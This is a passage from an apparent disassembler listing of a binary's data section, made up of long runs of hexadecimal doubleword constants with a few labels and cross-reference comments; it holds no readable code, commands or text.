		dd 0BF004C9Dh, 8C0D6FC4h, 0F010BDAFh, 2ED90078h, 3E994327h
		dd 15E9DC9h, 815FF320h,	1A5801D7h, 0E950071Fh, 0B9F71009h
		dd 0C3130E4Eh, 589389Ah, 0BD2651F2h, 6489C8F1h,	9C5450FFh
		dd 4600F470h, 0A80216A0h, 4E9D0B77h, 8CD19209h,	88ECA972h
		dd 0F8836E9Eh, 59258964h, 0C6E81877h, 6D55A04h,	0E7BC60ABh
		dd 22DB0F39h, 61108C42h, 902001BBh, 85FF1425h, 133A2819h
		dd 12B0A5B3h, 0A8A0BEB5h, 1279203Dh, 0B561E930h, 70F8B70Fh
		dd 55BDF0B0h, 8360E159h, 10F5209Dh, 0C1608DFAh,	70E661FBh
		dd 47804E0Fh, 63BA6017h, 0B8E0F254h, 0B501A6A5h, 71E46165h
		dd 278011E8h, 2FE754ABh, 551C2BB1h, 5808D9Ch, 93BB7F78h
		dd 0EA87F3CCh, 0EF315BF9h, 3CACC0B6h, 83330F61h, 0F129AF0Ah
		dd 0C2510969h, 0D760C8B6h, 90972DE7h, 6F560F12h, 0D8443243h
		dd 52C624h, 95F5CF99h, 0AFB16B2Eh, 0EDFC0807h, 8B107A61h
		dd 0BE381C1h, 5AAAE7C4h, 0A9411C42h, 0C009C265h, 1C4BBE7h
		dd 2B70EB3Eh, 628F0FC8h, 89600666h, 832F098Dh, 71DC29Fh
		dd 0E9497F61h, 803D68E6h, 0A185A78Eh, 9E86078h,	0EF8ADA10h
		dd 2A097EF2h, 0F9CE5F80h, 0CBC500E4h, 0B6272BDBh, 58B4491Fh
		dd 8A11658Eh, 611CA5Ah,	2534055Ch, 7DCC381h, 0D20A27Bh
		dd 5BB0362Bh, 0BD102E1Bh, 3B240241h, 1E213E37h,	0A6138708h
		dd 77760DDh, 8E00B3B1h,	0EB05E13Ch, 78131E94h, 33E935D3h
		dd 20A1A827h, 9C9980Ch,	0E1836206h, 2084F982h, 38F38120h
		dd 1C243FEEh, 5B19A5A8h, 0C98313FEh, 1BCD700Bh,	3FB8E981h
		dd 37138D3Dh, 0D374899h, 0FB868780h, 1790B91h, 7754BB62h
		dd 3067EC98h, 31400931h, 0CE6A4E5Bh, 0C2158861h, 4E9A08Fh
		dd 41FA4809h, 0E45159C9h, 2F2A7h, 934B8C69h, 4526539Ch
		dd 5BE97212h, 7959C90Bh, 1818F167h, 0BAE1234h, 91F35Ch
		dd 0EDE7F23Ah, 1D503EAh, 0CA603BB5h, 33080EB9h,	301DE24Ah
		dd 0F20EEC95h, 0C037D659h, 894A6968h, 8492CB5h,	0FCE180E9h
		dd 0E693EB81h, 0C82CE53Bh, 0FA062224h, 0FBDC0FC3h, 86897E4Ch
		dd 0D8BF6148h, 26A1F605h, 0F1F6C02Bh, 0D21B80E5h, 3318ADF8h
		dd 0D040D1C2h, 28BA9083h, 5AD3F475h, 0A67A1381h, 9356E0B7h
		dd 5FCB00F9h, 0D1E88423h, 0C5208501h, 880D340Eh, 0E0A1E62Fh
		dd 0B09A328Dh, 0B0120A1h, 1DB2AD83h, 21958B00h,	84489C10h
		dd 82180EDBh, 0CA5609AEh, 0C1826D25h, 6525C0DFh, 0D566DE31h
		dd 0E26C2F00h, 0AD52B2FFh, 0B7201D8Fh, 0BAA1CBFCh, 0E0974CD8h
		dd 70C9710h, 8B506158h,	31821C2h, 7408BCC1h, 1940C3ABh
		dd 0E6D3BDE0h, 1AC8888Eh, 0D18EEEC0h, 0E1E13C9h, 1DB60453h
		dd 180F1327h, 2C93927Dh, 0F0138449h, 0F9884860h, 2A0BDCB8h
		dd 4E071CA3h, 4CBD4D8Dh, 0F0032630h, 0C8090591h, 60000C82h
		dd 25D3A1BFh, 0E668C012h, 0FF6142EAh, 0BD31E105h, 550E0605h
		dd 0F1CBD079h, 26531129h, 5874270h, 1F36B40h, 882F27ABh
		dd 0B4A3DD12h, 0E23018E2h, 0C880015Dh, 699D89B1h, 362581Dh
		dd 7469EB90h, 0AD67D167h, 140E61h, 2466F860h, 0DE03D98Ch
		dd 57034C00h, 6DB1998Ch, 4E12480h, 9E00DEE9h, 0C6B7EA59h
		dd 5A2B15B3h, 70EE2009h, 7705D216h, 0C90A95D6h,	138F0ACh
		dd 1DF6F4Eh, 0A6A32B77h, 0A141F75Bh, 810521C9h,	173102h
		dd 79DFBF0Fh, 0E712C33h, 1C467C0Ah, 697E1100h, 83A7C730h
		dd 2738F126h, 3325C50Ah, 1850FE0Bh, 2F90CE6h, 5C17EBDEh
		dd 3E40912Ch, 0C225AAE3h, 0F3818929h, 132170F1h, 0B84EFC02h
		dd 612B6059h, 0F784116Fh, 41E3595h, 1C83BB61h, 0B068FE49h
		dd 0A4A82F14h, 0FF177F64h, 0B1041F03h, 83A2890Fh, 0B1178F21h
		dd 5050660Bh, 5FD83913h, 66D293EBh, 0F6F8109Fh,	284B0013h
		dd 5F931CD4h, 597658FBh, 0B15AE63Ah, 0B505838Bh, 0D27A8922h
		dd 0E050B624h, 9F9208C5h, 0FFD690Ch, 0BFF9B701h, 2BFCB224h
		dd 2F13CA70h, 0A8C6D483h, 78AB600Eh, 0EEC485B5h, 3C5FDA4Dh
		dd 961EE9D0h, 11AB24DBh, 8FB64D01h, 31618433h, 0FD0B3188h
		dd 3D637A6Ah, 78458207h, 0E3F7023Fh, 7198A9Fh, 149209C7h
		dd 4CDC3D74h, 29180FB6h, 0FB5AD18h, 0C4B88586h,	570B601Dh
		dd 262E6E4h, 6B7E0365h,	8283FC21h, 653B22A9h, 9244C89Dh
		dd 2D457989h, 37C78D9Bh, 0CF4C0D8h, 41EE22DAh, 0AB18284Bh
		dd 911E3160h, 9FDB49F5h, 88E0D571h, 0F4D179Eh, 10F9B381h
		dd 602C1C25h, 151D0831h, 799ABE00h, 4613826h, 96044689h
		dd 28898953h, 5F7A50B7h, 0B700BBF4h, 960C184Bh,	5BBD9D09h
		dd 0B24922Ah, 0BF66C9A0h, 68052442h, 782EB2A7h,	580EA8F8h
		dd 0A9F231B1h, 2CC6B8C8h, 295BAA2h, 8DA7B8EBh, 0BD9C8846h
		dd 11E0DCh, 0DFD04310h,	9447F381h, 50B00CE4h, 29189B84h
		dd 90E5459Dh, 505118B7h, 0F2FE260h, 0AB63BB0Fh,	0F2614F8Fh
		dd 31E009E6h, 0BF1CDB2Fh, 945F39Dh, 0B1C8E976h,	9CB3009Fh
		dd 74BC1273h, 98002CF5h, 0BDACE78Bh, 9A6FE55Fh,	411F9F19h
		dd 409C1D11h, 8BA18564h, 0C6121ABEh, 16048678h,	610206E1h
		dd 0DFC685C7h, 0BCB93DD1h, 3C260008h, 0BF671AD9h, 0FB02DCE8h
		dd 19958954h, 8415E410h, 0B777B2EBh, 72B74CA9h,	0CAB93B80h
		dd 2E7B0123h, 973AFE4h,	0C560A1B5h, 5FD64BE9h, 9A80FE9Bh
		dd 8756B42h, 211CA205h,	0C1ACD4B2h, 0BFDF0660h,	0A505B92Bh
		dd 0C305029h, 6144EC0Eh, 10E8C101h, 0D20E48EBh,	3124C3Fh
		dd 0E746D058h, 36DD36EBh, 9E6443E0h, 501B63E1h,	21282934h
		dd 1358180Ch, 1B57D001h, 0C08B099Ch, 0D070ACFBh, 0B0E27FBBh
		dd 4D852E88h, 0A2D353F7h, 42BA534Ch, 1F93CCF1h,	61951309h
		dd 0D8C0F40Dh, 2DD62B98h, 943A727Ah, 239AB401h,	0CE7684D1h
		dd 9C82B96Ah, 290102FDh, 466EC985h, 7307B575h, 0A98000BFh
		dd 7006C7D0h, 0FE04D401h, 9676980Eh, 3C7F2180h,	97995079h
		dd 0EACE043Fh, 99C27214h
		dd 0E00A6D96h, 1BEF4B28h, 0ACF72105h, 8529606Dh, 5B00B36h
		dd 5B345C74h, 0CC6FC65h, 99BD15F1h, 89877E19h, 1917A69Dh
		dd 0D918530h, 180CB81h,	2977D296h, 64262595h, 0C45A868Bh
		dd 0C8D2A21h, 6FD34A39h, 9A0D00D5h, 0A6111E62h,	0D0C80169h
		dd 0C283F8AAh, 0CDA68C04h, 4D508309h, 8EBC4C20h, 0E6DB1804h
		dd 4382FF6Ah, 4214DE4Dh, 2099631h, 891B358Ah, 0FB136A77h
		dd 3B6D7073h, 19BD0B12h, 6B8B20E4h, 0A2B74CDEh,	0F5CC9A00h
		dd 0CBEF6614h, 27AA71AAh, 1946DCA1h, 0EB9A6C01h, 2BB05A33h
		dd 28C657C0h, 0F30AC119h, 7D61FC06h, 432ED356h,	0E1001B23h
		dd 657A3ACEh, 0A10F12ABh, 0C7190E9h, 74096288h,	562DFF03h
		dd 8FF68DBh, 0A93D0EE1h, 822076F8h, 242D5122h, 82F6D595h
		dd 0C499D23h, 7D3E36C4h, 3B22421Fh, 874A9677h, 3E5512CCh
		dd 9B4B50FFh, 0B137871Ch, 29387030h, 20BA9002h,	0B5F01441h
		dd 0D6A7C970h, 4C6B52Fh, 0C2BCA309h, 0AED6DB71h, 6C88C640h
		dd 0FFB600A5h, 17444926h, 0C112DEAFh, 5E35BA2h,	0B8D6E76h
		dd 0AC3BD516h, 5FDB4F6Fh, 5D4AF180h, 68098C38h,	0BAD8E3F6h
		dd 0BA57F165h, 0A425E7D0h, 8D3949D9h, 5BC86E5Eh, 0BD037C31h
		dd 204BE529h, 3AB217DEh, 0D092D604h, 78185B7h, 202070Dh
		dd 0D10B3707h, 1814D91Dh, 8DD2C9EAh, 0A54EAF64h, 4482E049h
		dd 71BD33CBh, 1258C69Dh, 4B5524B7h, 81034Ch, 69799CF7h
		dd 0F324E978h, 379DFF71h, 829E00AAh, 0C18BC9AEh, 2DC529Eh
		dd 3B4C0ACEh, 6692B279h, 0D6A0E60h, 0E657FD25h,	0DD78A078h
		dd 0F4898116h, 41822391h, 1310129Bh, 0A2000158h, 0B021EA1Bh
		dd 1FFB531h, 0C06BCFEFh, 3E6116B1h, 275C5520h, 0ABA031D1h
		dd 0CD2404EEh, 6AF24885h, 53DE339Ch, 1BA21EB3h,	5E9CA30h
		dd 0A22A3056h, 0F71E90F6h, 81A8D51Ch, 83802689h, 0D3C69BC0h
		dd 0BD67A9D0h, 0FCE01816h, 213B182h, 268E860Fh,	50F9BFC0h
		dd 8FAADA8Ah, 7DC7874h,	63F38D1Dh, 0C16FC451h, 2B27B583h
		dd 0EA4BD388h, 0AFDD05A8h, 7BEF1924h, 0F51619BCh, 8830603Ah
		dd 3415415Dh, 1B5E392Ch, 4E8F399Eh, 0DFBE7600h,	804DB4Ah
		dd 1D019589h, 0FDB47EBCh, 7BE9A9B5h, 0C42B1002h, 277400AEh
		dd 80FCED39h, 3802CD71h, 0D1FFC69Ch, 516A5EF9h,	0CEE314ACh
		dd 4BF56950h, 2F70CD0Ch, 0E7171D6Ah, 0D340EAAh,	88D1E832h
		dd 13331F30h, 904A41B5h, 4C535250h, 231E9CEFh, 0A2C2B9F3h
		dd 505B464Eh, 0E91B3E70h, 503C28A0h, 32C88966h,	8247B790h
		dd 8EE42CE1h, 72FE80E1h, 0B56B9324h, 0CB553800h, 9C3A604Bh
		dd 6D09EC1h, 392F80E9h,	0D5064278h, 0E9782F5Bh,	5D9E3E98h
		dd 1BC5D781h, 303BB747h, 94B2572h, 321A71DDh, 9AB839C0h
		dd 0E10A1BAFh, 95DCF92Ah, 0E2C0DA30h, 0D9A650h,	6EBB0C03h
		dd 65DB6DC9h, 37B5FE92h, 0F25A007Ch, 0D5F819C7h, 4FEA5C39h
		dd 80807387h, 0B0521AEBh, 107D206Fh, 0A2D95B4Bh, 24391C88h
		dd 0C474CD25h, 48BE6017h, 0C5EF4B5Ch, 0F841EC5Dh, 2E0B8C17h
		dd 0EC59EE4Dh, 0BD9D2D3Ch, 0E8FF2F48h, 0A500A9A4h, 2CFD78A3h
		dd 5F2E4E0h, 770B75BBh,	0B58FC216h, 0F325FEFEh,	0E01F794Bh
		dd 0FB2D9E0h, 0BE282FE1h, 0A2338B3Bh, 85B0F921h, 0E6FAC503h
		dd 0D381A870h, 89333482h, 0E4BA40C4h, 5D953171h, 2F49084Bh
		dd 45927ADAh, 60FCDA10h, 36BB02B8h, 5E5A1FDEh, 9BF0197h
		dd 0C343335h, 0A9951329h, 0C1244B1Ah, 1C005444h, 1961EADBh
		dd 652842h, 220B2451h, 0B0344AFEh, 94122FFDh, 128A8EE0h
		dd 88C82BF8h, 33BB9F2h,	0A4C28072h, 89D18BFDh, 16BD4EB5h
		dd 2FCAC94Ch, 20ED3706h, 0F08105D7h, 0C161C0F2h
dword_544450	dd 410AD5B0h, 0F61BE70Ch, 0E81F685Eh, 0DA9A4130h, 0AF5A00A0h
					; DATA XREF: ___:off_43BE4Co
		dd 8C9D4E5Bh, 0F15605Fh, 7547DFB7h, 0ABFC9E00h,	61E83084h
		dd 2E48DC5Bh, 0E9E7E076h, 4F4B847Bh, 212885D2h,	0FD72C380h
		dd 0E811965Ch, 30E77720h, 31BB0095h, 0ED703EAEh, 7F01438Dh
		dd 0E464F45Ch, 0D2C4C406h, 409D5E33h, 8D8B5FD8h, 0BBE2D45h
		dd 8EF2D992h, 22A02A22h, 80820B45h, 1E252F09h, 0A5832812h
		dd 89FE2F1Eh, 2B3D7744h, 1283F09Dh, 0F2135D3Eh,	0A2C28298h
		dd 0D0C353D4h, 58142EF0h, 4CBE312h, 6A21A0F7h, 124C6FAFh
		dd 86F33983h, 0B668BB00h, 20B9277Dh, 33E7074Bh,	2566BAA0h
		dd 2C0CE602h, 592115E1h, 0D1D800A0h, 82750553h,	3F9DD300h
		dd 167A5511h, 55964824h, 1B6110h, 6FF3815Bh, 9701C14Ch
		dd 0E54D7589h, 0A2ED6FC0h, 235328FCh, 613067CEh, 0C1670BB8h
		dd 696018C4h, 0F92EE8DCh, 1113C02h, 0D22BF509h,	18E40765h
		dd 3578060h, 0BB2AF001h, 1017D9E5h, 1B03C2Fh, 22059D12h
		dd 0B78EECDEh, 850DDE41h, 0ABD70B0h, 73C6089h, 0CA251322h
		dd 9CB7E461h, 0ED00DC4Ah, 0DCA483ACh, 0B45BFE15h, 15786966h
		dd 0B1E3CBD2h, 10AA032Eh, 788A4B1Fh, 0C63B30D2h, 0EF38AE10h
		dd 0ED7BA784h, 0C61C3B0h, 0EA84C7E8h, 0E5145725h, 5F5E1173h
		dd 0E85288h, 54348E9Bh,	356584FEh, 0C5E47900h, 1DCF310Ah
		dd 0F78A2532h, 3B08AE6h, 0DE883A97h, 8213D45Ch,	3D0F1DB8h
		dd 4DB7B2B9h, 0E52AF448h, 0E1FF2CAAh, 2215096Fh, 0B5C48979h
		dd 0DB2ED6F1h, 989F84FAh, 3BF8E4C0h, 0F351345h,	0FC4C948Dh
		dd 4EAE80FCh, 4854FA3Ah, 0ED10FA94h, 0E55F2524h, 98811A2h
		dd 7940F380h, 4B42447Fh, 5A61448Bh, 1FD6E60h, 0B6B010A8h
		dd 0BA91F51Ch, 63365F0Ch, 17A920B0h, 0E0AB0B97h, 97FFC1A4h
		dd 0DEFE8E8Ah, 0DA959902h, 5EF5BF31h, 0D2AE9080h, 8A867E9h
		dd 8FCD9E12h, 810183B3h, 7471FFE3h, 7B6B2F77h, 38001A23h
		dd 1779C69Dh, 0F53A128Ah, 0BB990060h, 61459F34h, 0B750900Eh
		dd 589B97CFh, 2B83C09Eh, 0EFFAF7CFh, 7A4FD076h,	3048C2h
		dd 6A56E780h, 81B1379Dh, 0EC2B2286h, 8DF17028h,	24680A40h
		dd 2784A1C9h, 751C02E4h, 1400621Ch, 0C8CB3443h,	48731212h
		dd 36C8B05Bh, 4AAA213h,	0BE008F6Fh, 192EF322h, 0D9B99101h
		dd 3A95732Ah, 0D4CCD64Bh, 1236CF00h, 9BC7D401h,	964E488Fh
		dd 604A6538h, 45F24009h, 3AA24600h, 0B6645E26h,	0B2E50298h
		dd 8F0FF860h, 0A132B5D3h, 69A75E61h, 0D5A088F9h, 67311D32h
		dd 2BA05E17h, 7B807835h, 1F831501h, 8C0F1CB3h, 2A88392Dh
		dd 4D2E42Dh, 382C95A3h,	5A20ABA5h, 23972h, 20FED821h, 5F6B708Ch
		dd 7BD6BA97h, 4D8D5057h, 55124B3Eh, 0D1342EB5h,	0BEC23EDBh
		dd 0A5960EAh, 9F32B000h, 0BA66B9h, 2F3AE590h, 38D80B4Ah
		dd 4BAB4103h, 0F1DD7ABEh, 352F6126h, 0C76D9BE9h, 72100CC6h
		dd 4E95298Ah, 0E3C012B1h, 0B36C46E9h, 68989E3h,	0ECB8C03Dh
		dd 0E9DD2E4Bh, 10F6A3Ah, 0FCB5798h, 132FFFBFh, 7B61A2D1h
		dd 7CF1B77Bh, 11D538Ah,	0ACFDF871h, 0D7D04533h,	81B001A4h
		dd 9AA692CFh, 0D9672F0Fh, 2075DFD0h, 0F5400168h, 56606EB7h
		dd 3B893F5Ah, 72CC15D8h, 719903FEh, 6A6E404h, 276861DAh
		dd 0A827F6BFh, 703E736Eh, 7C02C2EFh, 8D294F3Ch,	977670C1h
		dd 2047F215h, 0D48DE4C0h, 20504BE3h, 58DF9CC5h,	0EB4DAD00h
		dd 0A229181Ch, 48AE00F3h, 0DA354CACh, 58023351h, 0D90DBB66h
		dd 934F15Fh, 73942039h,	65201C90h, 0C4616B16h, 9F5CC1EAh
		dd 526E7B7Ah, 195474C0h, 75CBBF03h, 0B166DF8Bh,	282EF991h
		dd 359911AAh, 8250D88h,	19621E9h, 0E39269A8h, 215EAE4Dh
		dd 0C8FAD3DCh, 0DF4B0735h, 7D2E35CAh, 1AC347BDh, 0A56D598Ch
		dd 70D65B21h, 972DD5B5h, 195541A7h, 2A03B301h, 0A59BDD35h
		dd 0F4216C0h, 80B5A1DEh, 3180383Ah, 30CA978Dh, 6D69585Ch
		dd 917CC19Eh, 0F2242EF8h, 596FEAh, 42D42630h, 241BFED5h
		dd 1A320106h, 955C9D4Dh, 89B83769h, 6D85DA14h, 2F8F296h
		dd 1C437CB7h, 368F7DB0h, 81F2D3h, 0AF39C932h, 90AB0340h
		dd 12241689h, 22EB1C5Bh, 98B4D08Ch, 0FAC1940h, 254CF698h
		dd 8CE62BDDh, 2540E5B6h, 1DA966F6h, 0C5EFB521h,	0CC8D15A5h
		dd 0F300D141h, 0CDA63D07h, 0A50A9A7h, 96133352h, 7E5FA4B6h
		dd 0BF271446h, 3BA0E1C6h, 0BA970961h, 70AAD3CAh, 94255573h
		dd 7DDDEAD0h, 0DD007BBDh, 0B1E03F26h, 8B600536h, 0ED12D195h
		dd 709D3C69h, 18063A9Dh, 0C9882EEEh, 0EA785C56h, 818D0108h
		dd 0D780040Eh, 5BEDBCBAh, 989F99Bh, 11120576h, 9B4EE8F7h
		dd 224B8076h, 4EB7D3BEh, 9038CD8h, 0AFA58D5Bh, 19B2EE73h
		dd 1D10A30h, 9AD018CDh,	352D9589h, 0E23026D2h, 0B9323016h
		dd 0B032735Fh, 0B310558Bh, 823CEF81h, 5018842Dh, 25AB5160h
		dd 0C0CFFD37h, 967240B8h, 0C9750532h, 0D1595BDAh, 178E0F16h
		dd 2C46FC09h, 0DE57240Ch, 7BE9B129h, 6F25EC28h,	0B5E6E6F9h
		dd 0C98F7309h, 0E9792649h, 2A77ECDh, 11C0C44Dh,	0E5AB646h
		dd 0A26A4B65h, 8A50F5C1h, 37DDA7F9h, 1A1E0038h,	0CA0B6CA6h
		dd 51D24D25h, 0A9E2007Dh, 7A5BCB45h, 1F93DC0Fh,	7B642083h
		dd 17DD939h, 80792071h,	265F82CBh, 301DE20Bh, 6E00E57Ch
		dd 0A1DB29D3h, 989D4901h, 0A5BDB633h, 0CD9D01EEh, 8B254E1Eh
		dd 0B85524DEh, 34CED4EEh, 0C0B80D15h, 0EB8467A3h, 0F309F97Ah
		dd 0BC782BA6h, 0C443E79Dh, 44BB6714h, 0AAC00096h, 3458F021h
		dd 1B00090Eh, 3395788Bh, 8A6685Ch, 0C6D2FF42h, 2F77812Dh
		dd 0E07C4CC7h, 16971B20h, 0AFB797F0h, 0B0975807h, 0D3A4D820h
		dd 73C501BFh, 0F29AE9F9h, 0F1D9C6FFh, 0C18BFC87h, 0ADCC79F9h
		dd 13700A73h, 6CF93E1Ah, 8167124h, 50120105h, 0CF809180h
		dd 0DB5CD670h, 1B65807Dh, 5EB8027h, 39853148h, 66570621h
		dd 0B813C58Bh, 37E6D52Dh, 0F84D8F0h, 3E5E6005h,	0C2FCCC20h
		dd 0E0583C80h, 0B572F2D0h, 2147A801h, 0C083C26Bh, 0C01ADB3Bh
		dd 0EB1C8CECh, 0B950780Dh, 49B78040h, 0F2DBC43Bh, 5B985E17h
		dd 95CFB2E0h, 5522D14Eh, 0BB90120Bh, 50280E49h,	0C0C7ED33h
		dd 819023C7h, 0F7FE1BDFh, 2E25B3CEh, 56478B91h,	0C900F424h
		dd 28BFC079h, 0F82FD8h,	2DBB661Bh, 8AE78119h, 88A1CE24h
		dd 0DBF7F912h, 7B9D6A4Eh, 4048D202h, 5E194BE2h,	7EFBE9D4h
		dd 4DF8B50h, 0FFFAFBB1h, 0E0E5E6D1h, 520FB943h,	5138B88Ah
		dd 0F25F5B92h, 898688E7h, 0FBD29D29h, 25026A3Ch, 95CCD295h
		dd 0DAD7DC98h, 23877B02h, 1AC9766Ch, 2B6221CDh,	0AA9772Fh
		dd 0E8406F56h, 1A8292h,	6179D872h, 71EACB4Eh, 9997B700h
		dd 0D55FEDDAh, 0BD0B2469h, 4DC44B36h, 0CBA0B101h, 12BE5334h
		dd 0B24E2276h, 1B020127h, 4819370Ah, 0EF63F4h, 0C8B69423h
		dd 0E99A1317h, 0E50C5D25h, 2DC288C1h, 0AC79FC15h, 6FA70063h
		dd 8155AE56h, 0ED12CDCBh, 0BDF34A8Bh, 0C6C3027Ch, 90736FC7h
		dd 0BB500740h, 2D435F0Fh, 0CDB3244Dh, 0F75A61BDh, 6AACB056h
		dd 0B3D602FDh, 0E8AED3A5h, 3097D378h, 25295382h, 0ED84E1BDh
		dd 0D66BBD5Fh, 0F819BDAh, 7CFBC6AFh, 0A0D24B9Bh, 0DCE4F6FFh
		dd 474EA501h, 5C65B577h, 4A19157Ch, 28615E12h, 26FD9349h
		dd 9569E04Ah, 0F2891241h, 657B61F2h, 0BB003311h, 7650B43Ah
		dd 8125BD89h, 406AEA0Dh, 0BF0E7574h, 70E67E10h,	952031B0h
		dd 71E43024h
		dd 5861D38Eh, 0F6C1A2A1h, 84FF9B57h, 0BDFB8B44h, 12944864h
		dd 64F233E4h, 9DDF4461h, 618A6183h, 4F182E50h, 257199E8h
		dd 55E03F32h, 0DD4BBD31h, 10C89893h, 76204D8Eh,	0B1B009F6h
		dd 0A4A5304Eh, 666A14C9h, 490B6A33h, 89373ED0h,	81EFDC46h
		dd 5270CEBBh, 52042F5Ch, 1E4009E9h, 186DF473h, 2527701Dh
		dd 0D9F32275h, 3912DE00h, 2B7DFB62h, 0F067100h,	7C0C16D2h
		dd 1D4B0946h, 4B7B4C56h, 0E94CE0ADh, 3911D16Eh,	4716BB1Fh
		dd 304A2D81h, 880FE5EEh, 7140C50h, 12598488h, 2F4CBE0h
		dd 358D8BADh, 804EE0A8h, 0F686A82Bh, 0ED71D001h, 9D762800h
		dd 0DD2346A4h, 0F9E11268h, 2260F219h, 779F8227h, 0B5B20113h
		dd 0A594D2D6h, 39FE2C33h, 0C1F90416h, 89FF9D09h, 0C52599F4h
		dd 0AC6D085Dh, 33810F09h, 0A55E4AEBh, 0AC9A2BAEh, 67C01CC8h
		dd 7CA26276h, 68FD0E3Eh, 9995B901h, 0C03CC94Bh,	57E3FF1h
		dd 135C2C00h, 0F88B4F49h, 1289975Fh, 124119D8h,	0A5DF1E3Eh
		dd 2970FAF3h, 0EFF50149h, 0B75FFFE5h, 0D98BD8A5h, 39BEB5F8h
		dd 5BC02B89h, 0D10970DAh, 0DBDC325Ah, 0BA0B4079h, 0B6AD12D6h
		dd 0D42492E8h, 1110B9Eh, 5360F525h, 334B66B6h, 97742BCFh
		dd 91AED5A0h, 5A0067C0h, 0F50B0D3Ch, 19B32479h,	0AC5E7B73h
		dd 0C4F3C219h, 4D9523D0h, 5848EAACh, 0BC106112h, 34B6A4ECh
		dd 72869CA0h, 0BB1EAC02h, 40172320h, 82220109h,	0E3CF7940h
		dd 9B0BC827h, 55D024A2h, 0F373A51Bh, 0BA42185Ah, 0BF9500CCh
		dd 81B0D197h, 8F903114h, 66DA1E4Bh, 3A53F080h, 4A255A8Dh
		dd 34B748h, 0E053F698h,	0F8904C45h, 4A96E314h, 32B1128Ch
		dd 3CE2E2BCh, 5130F524h, 31549D23h, 99975F8Eh, 0C9D52B5Dh
		dd 0F633252Fh, 9687E03Dh, 0A7FF253Dh, 2B114DE5h, 878502Ch
		dd 5B1213A5h, 31881AF2h, 1CDE44A4h, 0C03488FEh,	94C55664h
		dd 23126080h, 10445985h, 44BC61FCh, 674FC1A3h, 0E7E03EF6h
		dd 8D587FFAh, 1345738Bh, 0D012CB31h, 0DEB75760h, 78162600h
		dd 5C6C73F6h, 0D82506E6h, 5A665BE2h, 0FE01127Bh, 0D618A385h
		dd 122F46A0h, 0BC05A964h, 666395Dh, 22F21C4Ah, 406A2497h
		dd 0F9F40949h, 0A6D45325h, 0DD722743h, 56513A97h, 2800D47Eh
		dd 0F435DF7h, 5DF3FF29h, 232D34D5h, 4292D564h, 0FBD04995h
		dd 0F90CCC07h, 0BD6E905Eh, 0F927B3Fh, 7199E385h, 0B740FF9Eh
		dd 12DE6866h, 0A0624592h, 913B21FBh, 0BC9DC95Ah, 3CC2092Fh
		dd 197B08D5h, 51935ADh,	0CC516476h, 800FA545h, 4098EA40h
		dd 1A6EFA14h, 4A630056h, 0DC3DF5E7h, 5F4A367Ch,	705D99C8h
		dd 0AAE50199h, 0D51C96D4h, 14312F68h, 2B8011E9h, 2661211Dh
		dd 490F258Bh, 20397359h, 6A9529A5h
		db 4Ch,	0Eh
word_544F42	dw 0E99Bh		; DATA XREF: ___:off_424C78o
		dd 0F91701A1h, 34FBC51h, 7F4ACBEEh, 24929D29h, 82D2BA57h
		dd 5702A93Ah, 0CD97B096h, 5903412Dh, 4C092FE5h,	5AB25E23h
		dd 2250BB5Bh, 4AE6E261h, 486A8140h, 0C8752E77h,	99A229A6h
		dd 19398740h, 0C92A0181h, 780C6F1Ah, 24C76E06h,	0C9D247B1h
		dd 3210205Eh, 4165AA40h, 0A8132B08h, 0AA0538C4h, 68A51AC9h
		dd 42BB7140h, 0C4EDB844h, 0AF19F542h, 0E7297873h, 68B4A079h
		dd 0F235542Ch, 6102C260h, 848B5E51h, 0D300FBD6h, 6642E9AFh
		dd 831125BFh, 600971C6h, 62F19D01h, 54045DE0h, 0F9F78852h
		dd 404B7E82h, 0E7FB9CBBh, 0A3005C71h, 76C22E1h,	268844ECh
		dd 31095B0Ah, 0A706B332h, 802B3D0Ch, 1FA2DD8Dh,	0D5919CD8h
		dd 9CEDB549h, 894D5E1Bh, 0BF181A66h, 510040EDh,	0E0B5F879h
		dd 9F40897h, 61E5EF80h,	0B924B0A4h, 0A0A6B5A8h,	79111BA0h
		dd 72683801h, 8D583F0Eh, 0ACAE842Fh, 4E2CA31Ch,	800ADB3Bh
		dd 0B4677A2Ch, 12A202EEh, 0E90E8ED5h, 57B71282h, 0C975C35Ch
		dd 52E18085h, 7B59A8C4h, 0C38AFE4Bh, 95904B2Ah,	8087D312h
		dd 0EB8E815Bh, 25E84267h, 4B5F2249h, 32B12B7h, 1BB294F3h
		dd 2A4D130h, 5A0F9EFAh,	3FF9B454h, 1925E2A8h, 0A7AAC518h
		dd 0C800F835h, 180D43FBh, 5A401310h, 3DA104CFh,	0A870AE1Fh
		dd 254822BFh, 91C63509h, 1D905362h, 965F002Bh, 0C41FBB66h
		dd 0FA5E5006h, 0C0536D25h, 0D52D213h, 40111595h, 0B3E6D27Fh
		dd 96A9B50Eh, 886E8DFh,	5A491D69h, 2E35979Ah, 0BE891491h
		dd 73956C72h, 0D1F6D0DCh, 6E370FBh, 4D8D3188h, 0DA4AABE9h
		dd 0C01AC877h, 160DA97Ah, 1E419512h, 0B64EB6ACh, 3ABF09BDh
		dd 1267703Eh, 0A4B9B529h, 200E5077h, 0C43CF381h, 48B80F31h
		dd 905D30D6h, 0F90016D9h, 0C18E5E70h, 0E27D2D72h, 2153028Dh
		dd 0E4B4753Fh, 26B3F5Ch, 110BADD5h, 56307A60h, 96E18D09h
		dd 72611273h, 0E8D9FA87h, 2B0336B2h, 0B7503181h, 4185656Fh
		dd 2B23116Eh, 1DC8569Bh, 72EDFFC0h, 25EE02C1h, 8CC8157Eh
		dd 0C4CBEF56h, 2298DC82h, 44F21495h, 10979627h,	87A75Bh
		dd 0BAC08EAFh, 846B33AAh, 0A6737001h, 0BF3996ABh, 63CD98C7h
		dd 0BE9C945Fh, 3001E05Eh, 0BF0471ACh, 2B4BF228h, 2ED889ACh
		dd 15970BBDh, 0D249C1D1h, 5E9E7CC0h, 1AE263A3h,	20EE30h
		dd 0F71171DCh, 2C8EBB1Ch, 6573D925h, 25501CB0h,	0FA01FFBDh
		dd 0FC3E0E63h, 0DAB2752Bh, 0E0D0803Fh, 5B37B7D8h, 910748C6h
		dd 99B3F592h, 0E2FC34D0h, 0E9A08703h, 8CFFF46Eh, 0CE0728E2h
		dd 0C0F7F9E7h, 0C8FDBC11h, 2BC1D8C1h, 0C85445BDh, 0C8D39EA8h
		dd 0E000B03Ah, 905FC2F8h, 3FD1350h, 270D2085h, 60D0C8B8h
		dd 0B12ECBB2h, 0F06E9ABh, 9F3B0E86h, 2A97FD91h,	0AB34F1A5h
		dd 0A84D955Fh, 0DA273FE0h, 0B63ED2ABh, 0A0CAE278h, 55DCE46Eh
